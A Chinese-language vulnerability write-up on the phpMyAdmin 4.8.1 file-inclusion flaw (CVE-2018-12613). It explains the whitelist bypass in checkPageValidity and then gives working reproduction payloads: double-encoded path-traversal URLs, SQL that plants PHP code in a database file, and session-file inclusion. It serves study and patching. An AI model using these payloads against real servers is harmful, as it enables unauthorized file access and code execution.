leixiao-

漏洞详情

  • 范围
    phpMyAdmin 4.8.0和4.8.1
  • 原理
    首先在index.php 50-63行代码
$target_blacklist = array (
    \'import.php\', \'export.php\'
);

// If we have a valid target, let\'s load that script instead
if (! empty($_REQUEST[\'target\'])
    && is_string($_REQUEST[\'target\'])
    && ! preg_match(\'/^index/\', $_REQUEST[\'target\'])
    && ! in_array($_REQUEST[\'target\'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST[\'target\'])
) {
    include $_REQUEST[\'target\'];
    exit;
}

满足5个条件后就会include$_REQUEST[\'target\']的内容

  • $_REQUEST[\'target\']不为空
  • $_REQUEST[\'target\']是字符串
  • $_REQUEST[\'target\']不以index开头
  • $_REQUEST[\'target\']不在$target_blacklist中
    \'import.php\', \'export.php\'
  • Core::checkPageValidity($_REQUEST[\'target\'])为真
    代码在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . \'?\', \'?\')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . \'?\', \'?\')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

public static $goto_whitelist = array(
        \'db_datadict.php\',
        \'db_sql.php\',
        \'db_events.php\',
        \'db_export.php\',
        \'db_importdocsql.php\',
        \'db_multi_table_query.php\',
        \'db_structure.php\',
        \'db_import.php\',
        \'db_operations.php\',
        \'db_search.php\',
        \'db_routines.php\',
        \'export.php\',
        \'import.php\',
        \'index.php\',
        \'pdf_pages.php\',
        \'pdf_schema.php\',
        \'server_binlog.php\',
        \'server_collations.php\',
        \'server_databases.php\',
        \'server_engines.php\',
        \'server_export.php\',
        \'server_import.php\',
        \'server_privileges.php\',
        \'server_sql.php\',
        \'server_status.php\',
        \'server_status_advisor.php\',
        \'server_status_monitor.php\',
        \'server_status_queries.php\',
        \'server_status_variables.php\',
        \'server_variables.php\',
        \'sql.php\',
        \'tbl_addfield.php\',
        \'tbl_change.php\',
        \'tbl_create.php\',
        \'tbl_import.php\',
        \'tbl_indexes.php\',
        \'tbl_sql.php\',
        \'tbl_export.php\',
        \'tbl_operations.php\',
        \'tbl_structure.php\',
        \'tbl_relation.php\',
        \'tbl_replace.php\',
        \'tbl_row_action.php\',
        \'tbl_select.php\',
        \'tbl_zoom_select.php\',
        \'transformation_overview.php\',
        \'transformation_wrapper.php\',
        \'user_password.php\',
);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . \'?\', \'?\')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . \'?\', \'?\')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

        $_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . \'?\', \'?\')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true
但在index.php中$_REQUEST[\'target\']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

漏洞复现

phpMyAdmin-4.8.1-all-languages.zip
官网可下4.8.1版本

任意文件包含

通过目录穿越包含任意文件
?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

任意代码执行

  • 包含数据库文件
    先执行SQL语句查询一下数据库路径
    show global variables like "%datadir%";

    向数据库写入php代码
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");


然后包含该数据库文件
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

  • 包函session文件
    session路径的视环境而定


?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

参考:
phpmyadmin 4.8.1任意文件包含
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

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